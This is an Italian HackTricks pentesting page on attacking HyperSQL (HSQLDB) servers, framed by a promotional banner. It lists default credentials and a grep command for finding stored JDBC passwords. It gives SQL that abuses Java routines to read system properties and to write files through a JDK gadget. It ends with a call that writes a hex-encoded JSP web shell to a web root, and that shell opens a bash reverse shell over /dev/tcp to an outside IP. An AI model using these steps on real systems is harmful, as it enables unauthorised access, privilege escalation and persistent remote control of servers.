Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: * Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
# Informazioni di base **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** è il principale sistema di database relazionale SQL scritto in Java. Offre un motore di database piccolo, veloce, multithreaded e transazionale con tabelle in memoria e su disco e supporta modalità incorporate e server. **Porta predefinita:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` # Informazioni ### Impostazioni predefinite Nota che di default questo servizio probabilmente viene eseguito in memoria o è collegato a localhost. Se lo hai trovato, probabilmente hai sfruttato un altro servizio e stai cercando di ottenere privilegi elevati. Le credenziali predefinite di solito sono `sa` con una password vuota. Se hai sfruttato un altro servizio, cerca possibili credenziali utilizzando ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` Nota attentamente il nome del database: ne avrai bisogno per connetterti. # Raccolta informazioni Connettiti all'istanza del database scaricando HSQLDB e estraendo `hsqldb/lib/hsqldb.jar`. Avvia l'app GUI (eww) utilizzando `java -jar hsqldb.jar` e connettiti all'istanza utilizzando le credenziali scoperte/deboli. Nota che l'URL di connessione avrà un aspetto simile a questo per un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`. # Trucchi ## Routine del linguaggio Java Possiamo chiamare i metodi statici di una classe Java da HSQLDB utilizzando le Routine del linguaggio Java. Tieni presente che la classe chiamata deve essere nel classpath dell'applicazione. Le JRT possono essere `funzioni` o `procedure`. Le funzioni possono essere chiamate tramite istruzioni SQL se il metodo Java restituisce una o più variabili primitive compatibili con SQL. Vengono invocate utilizzando l'istruzione `VALUES`. Se il metodo Java che vogliamo chiamare restituisce void, dobbiamo utilizzare una procedura invocata con l'istruzione `CALL`. ## Lettura delle proprietà di sistema Java Crea la funzione: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` Esegui la funzione: ```text VALUES(getsystemproperty('user.name')) ``` Puoi trovare un [elenco delle proprietà di sistema qui](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). ## Scrivere il contenuto su un file Puoi utilizzare il gadget Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` situato nel JDK (caricato automaticamente nel classpath dell'applicazione) per scrivere elementi codificati in esadecimale su disco tramite una procedura personalizzata. **Nota la dimensione massima di 1024 byte**. Creare la procedura: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` Esegui procedura: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ```
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: * Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).